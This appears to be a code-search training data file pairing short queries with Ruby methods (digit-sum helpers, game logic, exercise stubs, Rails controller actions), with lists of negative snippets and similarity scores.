"def calc_real_thac0(item)\r\r\n thac0_bonus = item.thac0\r\r\n thac0_bonus = 20 if item.is_a?(RPG::Item)\r\r\n \r\r\n if self.actor?\r\r\n for equip in equips\r\r\n next if equip.nil?\r\r\n thac0_bonus += equip.thac0 rescue nil\r\r\n end\r\r\n end\r\r\n \r\r\n for skill in $data_notetagged_items\r\r\n next if skill.nil? || !skill.is_a?(RPG::Skill)\r\r\n next unless self.skills.include?(skill) && skill_equip_ready?(skill)\r\r\n \r\r\n bonus = skill.thac0 ? thac0 : 0 rescue nil\r\r\n bonus = 0 if bonus.nil?\r\r\n thac0_bonus += bonus\r\r\n end\r\r\n \r\r\n for state in self.states\r\r\n next if state.nil?\r\r\n \r\r\n bonus = state.thac0 ? state.thac0 : 0 rescue nil\r\r\n bonus = 0 if bonus.nil?\r\r\n thac0_bonus += bonus\r\r\n end\r\r\n \r\r\n return thac0_bonus\r\r\n end",
"def attack(troops)\n troops + self.level * troops\n end",
"def test_how_many_lives\n assert_equal(2,how_many_lives?(1,1))\n assert_equal(2,how_many_lives?(@goban.gsize,@goban.gsize))\n assert_equal(2,how_many_lives?(1,@goban.gsize))\n assert_equal(2,how_many_lives?(@goban.gsize,1))\n assert_equal(4,how_many_lives?(2,2))\n assert_equal(4,how_many_lives?(@goban.gsize-1,@goban.gsize-1))\n s=Stone.play_at(@goban, 2, 2, BLACK); # we will try white stones around this one\n g=s.group\n assert_equal(2,how_many_lives?(1,1))\n assert_equal(4,g.lives)\n assert_equal(2,how_many_lives?(1,2))\n assert_equal(4,g.lives) # verify the live count did not change\n assert_equal(2,how_many_lives?(2,1))\n assert_equal(3,how_many_lives?(2,3))\n assert_equal(3,how_many_lives?(3,2))\n assert_equal(4,how_many_lives?(3,3))\n end",
"def stadium; end",
"def tongue_twister; end",
"def age!\n #tree aging code goes here\n @age += 1\n @height += rand(100..400)\n rand(50..100).times {@oranges << Orange.new(rand(10..40))} if @age > FRUIT_SEASON_TIME\n end",
"def fitness\n -(0..5).map{|t| \n $pors_store = 0 # reset store\n t_val = t\n values = {:rec=>proc{$pors_store},:T=>proc{ cv=t_val; t_val=0; cv} } # using T destroys T\n (eval_genes(values) - N*t).abs \n }.sum - 0.1*size # find a tree that multiplies T by 3\n end",
"def goal\n 28\n end",
"def virus_effects\n predicted_deaths\n speed_of_spread\n end",
"def virus_effects\n predicted_deaths\n speed_of_spread\n end",
"def virus_effects\n predicted_deaths\n speed_of_spread\n end",
"def virus_effects\n predicted_deaths\n speed_of_spread\n end",
"def virus_effects\n predicted_deaths\n speed_of_spread\n end",
"def virus_effects\n predicted_deaths\n speed_of_spread\n print\n end",
"def virus_effects\n predicted_deaths\n speed_of_spread\n print\n end",
"def test_delta_on_examples\n assert_equal([], @small_dfa.delta(0,'b'))\n @small_dfa.each_state do |s|\n s.out_edges.each do |e|\n assert_equal([e.target], @small_dfa.delta(s,e.symbol))\n end\n end\n\n assert_equal([], @small_nfa.delta(0,'b'))\n assert_equal(@small_nfa.ith_states(1,2,3), @small_nfa.delta(1, 'b').sort)\n assert_equal(@small_nfa.ith_states(), @small_nfa.delta(1, 'a').sort)\n assert_equal(@small_nfa.ith_states(1), @small_nfa.delta(0, 'a').sort)\n assert_equal(@small_nfa.ith_states(1,2,3), @small_nfa.delta(2, 'b').sort)\n end",
"def age!\n #tree aging code goes here\n @age += 1\n @height += rand(100..400)\n rand(50..100).times {@apples << Apple.new(rand(10..40))} if @age > FRUIT_SEASON_TIME\n end",
"def stair_climb(n)\n end",
"def kittens\n end",
"def virus_effects\n predicted_deaths\n speed_of_spread\nend",
"def t\n end",
"def thirty\n end",
"def alg; end",
"def tree\n \"I love everyone!\"\nend",
"def t2\n tc('t2.vs')\nend",
"def ftoc(fahrenheit)\n\t(fahrenheit - 32) * 5/9.to_f\nend",
"def tree_data\n tree = Tree.new\n\n tree.age! until tree.any_apples?\n\n puts \"Tree is #{tree.age} years old and #{tree.height} feet tall\"\n\n until tree.dead?\n basket = []\n\n # It places the apple in the basket\n while tree.any_apples?\n basket << tree.pick_an_apple!\n end\n\n diameter_sum = 0\n\n basket.each do |apple|\n diameter_sum += apple.diameter\n end\n\n avg_diameter = diameter_sum / basket.size.to_f # It's up to you to calculate the average diameter for this harvest.\n\n puts \"Year #{tree.age} Report\"\n puts \"Tree height: #{tree.height} feet\"\n puts \"Harvest: #{basket.size} apples with an average diameter of #{avg_diameter} inches\"\n puts \"\"\n\n # Ages the tree another year\n tree.age!\n end\n\n puts \"Alas, the tree, she is dead!\"\nend",
"def gameflow\n \n end"
] | [
"0.5743288",
"0.56060255",
"0.55429524",
"0.5464408",
"0.5438544",
"0.5384285",
"0.5374145",
"0.53131884",
"0.5304246",
"0.52660054",
"0.52507037",
"0.5249419",
"0.52442247",
"0.52027106",
"0.51919067",
"0.51800734",
"0.51783353",
"0.5171897",
"0.51579714",
"0.51334804",
"0.50931376",
"0.5088199",
"0.50719947",
"0.50719947",
"0.50588536",
"0.5046702",
"0.5046702",
"0.5040583",
"0.50404996",
"0.5039496",
"0.50372916",
"0.5033935",
"0.5028355",
"0.502744",
"0.50121015",
"0.5010971",
"0.4992276",
"0.49853015",
"0.49850658",
"0.49794117",
"0.49668136",
"0.4957656",
"0.4954934",
"0.49514568",
"0.49514568",
"0.49514568",
"0.49451172",
"0.4939652",
"0.49280855",
"0.49229664",
"0.49148422",
"0.49112508",
"0.48990515",
"0.48987138",
"0.48799363",
"0.48653528",
"0.4863348",
"0.48567125",
"0.48550957",
"0.48474395",
"0.4837951",
"0.48366302",
"0.48296192",
"0.4829034",
"0.48212433",
"0.4819127",
"0.48158792",
"0.48106354",
"0.4806802",
"0.48031121",
"0.48016983",
"0.47978398",
"0.47941607",
"0.47891757",
"0.47858667",
"0.47851044",
"0.47830537",
"0.4772467",
"0.47680286",
"0.47668695",
"0.47616503",
"0.47616503",
"0.47616503",
"0.47616503",
"0.47616503",
"0.4753089",
"0.4753089",
"0.47516766",
"0.47508445",
"0.4749775",
"0.47363895",
"0.47361818",
"0.47309136",
"0.4725905",
"0.47249964",
"0.47213605",
"0.47185627",
"0.47180602",
"0.47174427",
"0.47156146"
] | 0.47667956 | 80 |
6. Sum to One Digit | def sum_to_one_digit(num)
if num < 1 or not num.is_a? Integer
puts "Num must be positive integer"
return false;
end
get_sum = ->(intgr) {
digit_sum = 0
intgr = intgr.to_s.split('')
intgr.each do |i|
digit_sum += i.to_i
end
return digit_sum
}
sum = get_sum.call(num)
while sum.to_s.length > 1 do
sum = get_sum.call(sum)
end
puts sum
return sum
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def sum_digits\n self.to_s.split('').inject(0) { |memo, c| memo + c.to_i }\n end",
"def digits_sum(n)\n n.to_s.split('').inject(0){|a,b|a+=b.to_i}\nend",
"def digits_sum\n self.split('').map {|x| x.to_i}.inject(0) do |res,elt|\n res += elt\n res\n end\n end",
"def sum(number)\n sum = 0\n str_digits = number.to_s.chars\n\n str_digits.each do |str_digit|\n sum += str_digit.to_i\n end\n\n sum\nend",
"def sum_of_digits(n)\n sum = 0\n n.each_char {|digit| sum += digit.to_i}\n\n puts sum\nend",
"def sum_of_factorial_digits(factorial)\r\n\tthe_factorial = (1..factorial).inject(1){ |milti, i| milti * i }\r\n\r\n\treturn the_factorial.to_s.split('').inject(0){ |sum, i| sum + i.to_i }\r\nend",
"def sum(num)\n num.to_s.chars.map(&:to_i).reduce(:+)\nend",
"def sum(num)\n num.to_s.chars.map(&:to_i).reduce(:+)\nend",
"def sum(number)\n number.to_s.chars.map(&:to_i).reduce(:+)\nend",
"def sum(number)\n number.to_s.chars.map(&:to_i).reduce(:+)\nend",
"def sum(integer)\n digits = integer.to_s.chars.map {|x|x.to_i}\n total = digits.reduce(0) {|sum,x| sum += x}\n #integer.to_s.chars.map(&:to_i).reduce(&:+)\nend",
"def sum(number)\n number.to_s.chars.map(&:to_i).reduce(:+)\n \nend",
"def sum(num)\n digits = num.to_s.chars.map(&:to_i) # Get an array of ints\n digits.reduce(:+) # Return sum of digits\nend",
"def sum(integer)\n integer.digits.reduce(:+)\nend",
"def sumDigits(number)\n number.to_s.chars.map(&:to_i).reduce\nend",
"def sum_of_digit(n)\n sum = 0\n n.to_s.each_char {|i| sum = sum + i.to_i}\n puts sum\nend",
"def sum(n)\n n.digits.sum\nend",
"def intSumOfDigitsInt2 i\n result = 0\n i.to_s.bytes.each do |i|\n result += i - 48\n end\n result\nend",
"def sum(int)\n digits = int.to_s.split('')\n digits.map!(&:to_i)\n digits.reduce(:+)\nend",
"def sum_digits(integer)\n arr = integer.to_s.chars.map { |num| num.to_i }\n arr.reduce(:+)\nend",
"def sum(int)\n int.digits.sum\nend",
"def sum(num)\n digits = []\n sum = 0\n digits = num.digits\n sum = digits.sum\n return sum\nend",
"def sum(int)\n int.to_s.chars.map(&:to_i).reduce(:+)\nend",
"def sum_of_digits(number)\n sum = 0\n digits = number.to_s\n digits.each_char { |c| sum += c.to_i }\n sum\nend",
"def digit_sum(int)\n return int.digits.sum\nend",
"def suma(num)\n\t\ttotal =0\n\t\t((num*2).to_s.chars.map(&:to_i)).each{|x| total+=x}\n\t\treturn total\n\tend",
"def plus_one(digits)\n sum, carry = [], 1\n\n digits.reverse_each do |digit|\n if carry.nonzero?\n value = digit + carry\n carry, value = value.divmod(10)\n else\n value = digit\n end\n\n sum.insert(0, value)\n end\n sum.insert(0, carry) if carry.nonzero?\n\n sum\nend",
"def numsum(n)\n result = 0\n while n >= 1\n digit = (n % 10).floor\n result += digit\n (n /= 10).floor\n end\n puts result\nend",
"def sum(num)\n num.to_s.chars.map(&:to_i).sum\nend",
"def sum(number)\n sum = number.to_s.chars\n total = sum.map {|num| num.to_i }\n total.reduce(:+)\nend",
"def sum_digits( i )\n sum = 0\n\n i.to_s.split( // ).each do |d|\n sum += d.to_i\n# sum += $a_to_i[d.ord]\n end\n\n sum\nend",
"def sixteen\n sum_of_digits 2**1000\nend",
"def sum(number)\r\n number.digits.sum\r\nend",
"def sumDig(n)\n sum=0\n n.downto(1).inject(:*).to_s.each_char { |x| sum=sum+x.to_i }\n puts sum\nend",
"def power_digit_sum(num)\n x = num.to_s\n index = 0\n total = 0\n while index < x.length\n total += x[index].to_i\n index += 1\n end\n print total\nend",
"def checksum\n (10 - (digits.each_with_index.inject(0) do |sum, (digit, index)|\n sum + (digit * (index.even? ? 1 : 3))\n end % 10)) % 10\n end",
"def sum(number)\n numbers = number.to_s.chars\n\n numbers.reduce {|sum, i| sum.to_i + i.to_i }\nend",
"def sumdig_i(n)\n nums = n.to_s.chars.map(&:to_i).inject(:+)\nend",
"def digit_sum_old(int)\n return int.to_s.split('').map(&:to_i).sum\nend",
"def sum_of_digits(num)\n\tsum = 0\n\tnum.to_s.each_char { |x| sum = sum + x.to_i}\n\tputs sum\nend",
"def sum(i)\n sum = i.digits.reduce(:+)\n sum\nend",
"def sum(integer)\n integer.digits.sum\nend",
"def super_digit(n)\n return n if n < 10\n sum = n.to_s.chars.map(&:to_i).sum\n return super_digit(sum)\nend",
"def sum(number)\n number.digits.sum\nend",
"def sum(number)\n number.digits.sum\nend",
"def sum(num)\n num.digits.sum\nend",
"def sum(num)\n num.digits.sum\nend",
"def sum(num)\n num.digits.sum\nend",
"def sum(num)\n num.digits.sum\nend",
"def digit_summer(pow_pow)\n\tdigit = 2**pow_pow\n\n\tdigit_string = digit.to_s\n\n\tsum = 0\n\n\tdigit_string.each_char do |num|\n\t\tsum = sum + num.to_i\n\tend\n\treturn sum\nend",
"def sum(numbers)\n string = numbers.digits.reverse\n string.reduce(:+)\nend",
"def sum_digits(num)\n\nend",
"def sum_of_digits(n)\n digits = n.to_s.split(//).map(&:to_i)\n digits.inject(0) { |sum, digit| sum + digit}\nend",
"def power_digit_sum(num)\n num_array = num.to_s.split(//).map do |s|\n s.to_i\n end\n num_array.reduce(:+)\nend",
"def power_digit_sum(power)\n result = 2 ** power\n result.to_s.chars.map(&:to_i).inject(&:+)\nend",
"def sum(num)\n sum = 0\n num.to_s.chars.each do |ch|\n sum += ch.to_i\n end\n sum\nend",
"def sum(input_integer)\n digits = input_integer.to_s.chars\n sum_array = digits.map { |digit| digit.to_i }.reduce(:+)\nend",
"def plus_one(digits)\n carry = 0\n if (digits[-1] + 1) >= 10\n digits[-1] = (digits[-1] + 1) % 10\n carry = 1\n ((digits.size- 2).downto 0).each do |i|\n if (digits[i] + carry) < 10\n digits[i] = digits[i] + carry\n carry = 0\n break\n else\n digits[i] = (digits[i] + carry) % 10\n carry = 1\n end\n end\n else\n digits[-1] = digits[-1] + 1\n end\n digits.insert(0,carry) if carry == 1\n digits\nend",
"def super_digit(n)\n return n if n < 10 \n return super_digit(n.to_s.chars.map(&:to_i).sum)\nend",
"def power_digit_sum(power)\n product = 2**(power)\n product.to_s.split('').inject(0) do |sum, num|\n sum += num.to_i\n sum\n end\nend",
"def sumdig_i(num)\n num.to_s.split('').map(&:to_i).reduce(:+)\nend",
"def sumaint(digitos)\n suma = 0\n if digitos.to_i < 0\n digitos = digitos.to_i\n digitos*= -1\n negativo = true\n end\n arreglo = digitos.to_s.chars\n for digito in arreglo\n dig = digito.to_i\n suma += dig\n end\n if negativo == true\n suma *= -1\n end\n return suma\nend",
"def add_digits(num)\n num = num.to_s\n \n while num.length > 1\n new_num = num.split('').map(&:to_i).sum\n \n num = new_num.to_s\n end\n \n num.to_i\nend",
"def sum(integer)\n sum = integer.to_s.chars.map do |num|\n num.to_i\n end\n\n result = sum.inject(:+)\n result\nend",
"def super_digit(n)\n num_array = n.to_s.chars.map(&:to_i)\n sum = num_array.sum\n if sum <9\n return sum\n else \n return super_digit(sum)\n end\n \nend",
"def digit_sum(num, digits)\n if digits == 1\n num\n else\n num % 10 + digit_sum(num / 10, digits - 1)\n end\nend",
"def sum_digits(n)\n digits = n.digits.reverse\n circle_array = [1, 10, 9, 12, 3 , 4]\n product = []\n\n loop do\n break if digits == []\n product << digits.pop * circle_array.first\n circle_array.rotate!(1)\n end\n\n product.sum\nend",
"def sumDigits(number)\n sol = 0\n number.abs.to_s.each_char do |x|\n sol += x.to_i\n end\n print sol\n\nend",
"def sum(num)\n\n\tarray_of_digits = num.digits\n\n\tarray_of_digits.sum\n\nend",
"def power_digits(n)\r\n sum = 2 ** n\r\n sum = sum.to_s.split(\"\").map{|x| x.to_i}.reduce(:+)\r\n return sum \r\nend",
"def sumdig_i(n)\n# Shortcut for .map on array, and for each element in the array, returns the result of calling to_i on that element.\n return n.to_s.chars.map(&:to_i).reduce(:+)\nend",
"def sum_digits(n)\n return n if n <= 9\n n % 10 + sum_digits(n / 10)\nend",
"def sumdigit_r(num)\n if num < 10\n num\n else\n sumdigit_r(num/10) + num % 10\n end\nend",
"def sum_of_digits(number)\n\treturn (number/100)+((number/10)%10)+(number%10)\nend",
"def digit_sum (number)\n sum = 0\n base = 10\n while number > 0 do\n sum += number % base\n number /= base\n end\n return sum\nend",
"def sumdig_r(num, result = 0)\n if num < 10\n result += num\n else\n result += num % 10\n result = sumdig_r(num / 10, result)\n end\n result\nend",
"def super_digit(n, sum=0) \n return sum + n if n / 10 == 0\n return super_digit(super_digit(n/10, sum+(n%10)))\nend",
"def add_digits(num)\n return num if num.to_s.length == 1\n int_array = split_digits(num)\n sum = add_array_ints(int_array)\n return add_digits(sum)\n end",
"def sum_digits(n)\n remaining = n\n sum = 0\n while remaining > 0\n sum += remaining % 10\n remaining = remaining / 10\n end\n sum\nend",
"def super_digit(n)\n sum = 0;\n\n while n > 0 || sum > 9\n if n == 0\n n = sum\n sum = 0\n end\n sum += n % 10\n n /= 10\n end\n return sum\nend",
"def power_digit_sum(base, exponent)\n\t(2 ** 1000).to_s.split(\"\").inject(0) {|sum, n| sum + n.to_i}\nend",
"def prod_digits(s)\n prod = 1\n s.each_char { |c| prod *= c.to_i }\n prod\nend",
"def super_digit(n)\n return n if n.digits.length == 1\n n = n.digits.sum\n return super_digit(n)\nend",
"def product_digits\n self.split('').inject(1) { |memo, c| memo * c.to_i }\n end",
"def add_digits(num)\n return num if num.to_s.length == 1\n add_digits(num.to_s[0].to_i + add_digits(num.to_s[1..-1]).to_i)\nend",
"def sum_of_digits(number)\n split_to_array(number).inject(:+)\n end",
"def super_digit(n)\n string_n = n.to_s\n return n if string_n.size == 1\n\n i = 1\n sum = string_n[0].to_i\n while i < string_n.size\n sum += string_n[i].to_i\n i += 1\n end\n return super_digit(sum)\nend",
"def add_digits(number)\r\n total = 0\r\n number.to_s.split(\"\").each do |n|\r\n total += n.to_i\r\n end\r\n if total.to_s.length > 1\r\n div_by_3(@total)\r\n end\r\n total\r\nend",
"def super_digit(n)\n if n >= 0 && n < 10 \n return n\n end\n digits_of_n = n.digits\n sum_digits = digits_of_n.sum\n\n return super_digit(sum_digits)\nend",
"def super_digit(n)\n return n if n <= 9\n \n until n < 10\n sum = 0\n sum += (n % 10)\n sum += (n / 10)\n n = sum\n end\n\n return sum\nend",
"def sum_of_digits(int)\n int.digits.sum\nend",
"def plus_one_short digits\n # int.next return the next int Ex: 2 -> 3\n # int.digits return an array of int digits\n # array.join return an string of array digits concatenation.\n # string.to_i return an int\n # array.reverse return an reversed array.\n digits.join.to_i.next.digits.reverse\nend",
"def digit_sum(a,b)\n\tsums = []\n\tnum = a**b\n\tarr = num.to_s.split('')\n\tnum_arr = arr.map{|n| n.to_i}\n\tsums << num_arr.reduce(:+)\n\tp sums.max\nend",
"def sum_all_digits(num)\n split_string = num.to_s.split('')\n split_string.map!(&:to_i)\n sum_digits = split_string.inject(0) { |res,el| res + el }\n return sum_digits\nend",
"def super_digit(n)\n return n if n < 10\n\n sum = 0 \n\n while n > 0\n digit = n % 10\n n /= 10\n sum += digit\n end\n\n super_digit(sum)\n\nend",
"def powerdigitsum(exponent)\n product = 1\n sum = 0\n \n product = 2 ** exponent\n \n array = product.to_s.split(//)\n array.each do |el|\n sum += el.to_i\n end\n\n p sum\nend",
"def super_digit(n)\n sum = 0\n while n >= 10 do\n sum += n % 10\n n /= 10\n end\n sum += n\n return sum < 10 ? sum : super_digit(sum)\nend",
"def sumdig_r(n)\n return n if n < 10\n (n%10) + sumdig_r(n/10)\nend",
"def sum(int)\n int.to_s.split(//).reduce(0){|sum, item| sum += item.to_i}\nend",
"def power_digit_sum(base, exponent)\n # 1) calculate the power\n power = base ** exponent\n sum = 0\n\n # 2) convert to string to iterate each digit\n len = power.to_s.length\n for index in (0...len)\n # 3) convert back to number to calculate sum\n sum += power.to_s[index].to_i\n end\n\n # 4) return sum\n return sum\nend"
] | [
"0.79311764",
"0.75316966",
"0.7422316",
"0.73804796",
"0.7361712",
"0.7344452",
"0.73230594",
"0.73230594",
"0.73164886",
"0.73164886",
"0.7306617",
"0.7305416",
"0.72852623",
"0.7269085",
"0.72543323",
"0.72438896",
"0.7241085",
"0.72280127",
"0.7219585",
"0.72141427",
"0.72132516",
"0.7203975",
"0.7203134",
"0.720242",
"0.719906",
"0.7197329",
"0.7196881",
"0.71899873",
"0.7181341",
"0.71703327",
"0.71676666",
"0.71664846",
"0.7165497",
"0.71652555",
"0.715245",
"0.71516037",
"0.7140502",
"0.7130398",
"0.7119932",
"0.7103183",
"0.7097177",
"0.7086473",
"0.7070169",
"0.7069953",
"0.7069953",
"0.7068197",
"0.7068197",
"0.7068197",
"0.7068197",
"0.70638",
"0.70503455",
"0.7049544",
"0.7048884",
"0.70355153",
"0.70337397",
"0.7013952",
"0.7010303",
"0.699611",
"0.69861287",
"0.6984975",
"0.6955638",
"0.69431525",
"0.69320047",
"0.69317526",
"0.6922295",
"0.69202757",
"0.6908867",
"0.6902204",
"0.6878442",
"0.68779564",
"0.6877005",
"0.687541",
"0.6870586",
"0.6854968",
"0.68489236",
"0.684558",
"0.6836891",
"0.6833562",
"0.6832292",
"0.682255",
"0.68211615",
"0.6817373",
"0.68132544",
"0.68057406",
"0.6799018",
"0.6788816",
"0.6783154",
"0.67827874",
"0.67770404",
"0.677187",
"0.6768846",
"0.676436",
"0.6750603",
"0.6748107",
"0.6747086",
"0.67318416",
"0.672931",
"0.6726649",
"0.6725594",
"0.67161655"
] | 0.6793572 | 85 |
GET /repairers GET /repairers.json | def index
@repairers = Repairer.all
@electronics_repairers = Repairer.where(category: 'Electronics')
@carpentry_repairers = Repairer.where(category: 'Carpentry')
@jewellery_repairers = Repairer.where(category: 'Jewellery')
@whitegoods_repairers = Repairer.where(category: 'Whitegoods')
@clothing_repairers = Repairer.where(category: 'Clothing')
@upholstery_repairers = Repairer.where(category: 'Upholstery')
@ceramics_repairers = Repairer.where(category: 'Ceramics')
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def show\n @repairer = Repairer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @repairer }\n end\n end",
"def show\n @repairer = Repairer.find(params[:id])\n end",
"def destroy\n @repairer = Repairer.find(params[:id])\n @repairer.destroy\n\n respond_to do |format|\n format.html { redirect_to repairers_url }\n format.json { head :no_content }\n end\n end",
"def create\n @repairer = Repairer.new(params[:repairer])\n\n respond_to do |format|\n if @repairer.save\n format.html { redirect_to @repairer, notice: 'Repairer was successfully created.' }\n format.json { render json: @repairer, status: :created, location: @repairer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @repairer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @prayers = Prayer.where(\"user_id = ?\", getUser())\n\n @prayer_requests = PrayerRequest.all \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @prayers }\n end\n end",
"def index\n @retailers = Retailer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @retailers }\n end\n end",
"def show\n @repair_record = RepairRecord.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @repair_record }\n end\n end",
"def destroy\n @repairer.destroy\n respond_to do |format|\n format.html { redirect_to repairers_url, notice: 'Repairer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def index\n @prayers = Prayer.all\n render json: @prayers, status: 200 # you've got a serializer. Maybe you should use it.\n end",
"def create\n @repairer = Repairer.new(repairer_params)\n @repairer.user = current_user\n\n respond_to do |format|\n if @repairer.save\n format.html { redirect_to @repairer, notice: 'Repairer was successfully created.' }\n format.json { render :show, status: :created, location: @repairer }\n else\n format.html { render :new }\n format.json { render json: @repairer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @repairqs = Repairq.all\n end",
"def new\n @repairer = Repairer.new\n \n 3.times do\n @repairer.contact_repairers.build\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @repairer }\n end\n end",
"def buyers\n result = get_buyers(params, false)\n render json: result, status: 200\n end",
"def index\n @prayers = Prayer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @prayers }\n end\n end",
"def index\n @realtors = Realtor.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @realtors }\n end\n end",
"def destroy\n @repair.destroy\n respond_to do |format|\n format.html { redirect_to repairs_url }\n format.json { head :no_content }\n end\n end",
"def index\n respond_with(@collection) do |format|\n format.html # index.html.erb\n format.json { render json: @retailers }\n end\n end",
"def repair_orders_index\n @repair_orders_index = RepairOrder.all\n render json: { repair_orders: @repair_orders_index.as_json },\n status: :ok\n end",
"def index\n @preservatives = Preservative.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @preservatives }\n end\n end",
"def update\n respond_to do |format|\n if @repairer.update(repairer_params)\n format.html { redirect_to @repairer, notice: 'Repairer was successfully updated.' }\n format.json { render :show, status: :ok, location: @repairer }\n else\n format.html { render :edit }\n format.json { render json: @repairer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @realtors = Realtor.all\n end",
"def index\n @realtors = Realtor.all\n end",
"def update\n @repairer = Repairer.find(params[:id])\n\n respond_to do |format|\n if @repairer.update_attributes(params[:repairer])\n format.html { redirect_to @repairer, notice: 'Repairer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @repairer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @restorations = Restoration.all\n end",
"def index\n @resourcers = Resourcer.all\n end",
"def index\n\t #@racers = Racer.all\n\t if !request.accept || request.accept == \"*/*\"\n\t\t\trender plain: \"/api/racers/#{params[:racer_id]}/entries\"\n\t\telse\n\t\t\t#real implementation ...\n\t\tend\n\t end",
"def listRestaurants\n _restaurants = Restaurant.all\n render json: _restaurants\n end",
"def index\n @foodhampers = Foodhamper.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @foodhampers }\n end\n end",
"def show\n @prayers = Prayer.all\n @prayer = Prayer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @prayer }\n end\n end",
"def index\n @adopters = Adopter.where(filtering_params)\n\n render json: @adopters\n end",
"def index\n @minerals = Mineral.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @minerals }\n end\n end",
"def index\n json_response(Restaurant.all)\n end",
"def index\n @type_repairs = TypeRepair.all\n end",
"def index\n render json: reservations\n end",
"def get_carriers\n @transporter = Transporter.find(params[:id])\n\n render json: @transporter.carriers\n end",
"def index\n @waiters = @course.waiters.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @waiters }\n end\n end",
"def destroy\n @repair.destroy\n respond_to do |format|\n format.html { redirect_to repairs_url, notice: 'Repair was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def index\n @restaurants = Restaurant.all\n # @restaurants = current_owner.restaurants\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @restaurants }\n end\n end",
"def set_repair\n @repair = Repair.find(params[:id])\n end",
"def set_repair\n @repair = Repair.find(params[:id])\n end",
"def set_repair\n @repair = Repair.find(params[:id])\n end",
"def index\n @rents = Rent.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @rents }\n end\n end",
"def index\n users = User.all\n # cheer_ups = CheerUp.all\n render json: users\n end",
"def index\n @volunteers = Volunteer.order(:name).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @name }\n end\n end",
"def index\n @resverations = Resveration.all\n end",
"def index\n @proteins = Protein.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @proteins }\n end\n end",
"def set_repairer\n \n @repairer = Repairer.find_by(user: current_user)\n \n end",
"def index\n @dealers = Dealer.all\n end",
"def index\n @dealers = Dealer.all\n end",
"def index\n @parkers = Parker.all\n\t\trespond_with @parkers\n end",
"def index\n @githubers = Githuber.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @githubers }\n end\n end",
"def show\n @warrior = Warrior.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @warrior }\n end\n end",
"def show\n @warrior = Warrior.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @warrior }\n end\n end",
"def index\n @repair_orders = RepairOrder.all\n end",
"def index\n @repas = Repa.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @repas }\n end\n end",
"def index\n @careers = Career.all\n json_response(@careers)\n end",
"def index\n @restaurants = Restaurant.all\n # render json: @restaurants\n end",
"def index\n @pledges = Pledge.where('user_id = ?', current_user.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pledges }\n end\n end",
"def index\n @recruiters = Recruiter.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @recruiters }\n end\n end",
"def show\n @renter = Renter.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @renter }\n end\n end",
"def index\n @spoofers = Spoofer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @spoofers }\n end\n end",
"def index\n @peds = Ped.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @peds }\n end\n end",
"def index\n @rsvps = Rsvp.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @rsvps }\n end\n end",
"def index\n @employers = Employer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @employers }\n end\n end",
"def repair_order_show\n @repair_order = current_repair_order\n render json: { repair_order: @repair_order.as_json(include: [\n :repair_items,\n :employee_users_repair_orders ] )},\n status: :ok\n end",
"def index\n @election = Election.find(params[:election_id])\n @races = @election.races\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @races }\n end\n end",
"def postal_beers\n render json: BreweryDb::ShowBeers.new('postal', params[:postal]).results\n end",
"def update\n @serviceproviders = Serviceprovider.all\n respond_to do |format|\n if @repair.update(repair_params)\n format.html { redirect_to @repair, notice: 'Repair was successfully updated.' }\n format.json { render :show, status: :ok, location: @repair }\n else\n format.html { render :edit }\n format.json { render json: @repair.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @rents = Rent.all\n @client = Client.new\n end",
"def index\n @reservations = Reservation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reservations }\n end\n end",
"def index\n @reservations = Reservation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reservations }\n end\n end",
"def index\n @partners = Partner.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @partners }\n end\n end",
"def index \n restaurant = Restaurant.all\n render json: restaurant\n end",
"def index\n @repairing_layers = Repairing::Layer.all\n end",
"def index\n render json: Seller.all\n end",
"def postal_breweries\n render json: BreweryDb::ShowBreweries.new('postal', params[:postal]).results\n end",
"def index\n @ped_programs = PedProgram.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ped_programs }\n end\n end",
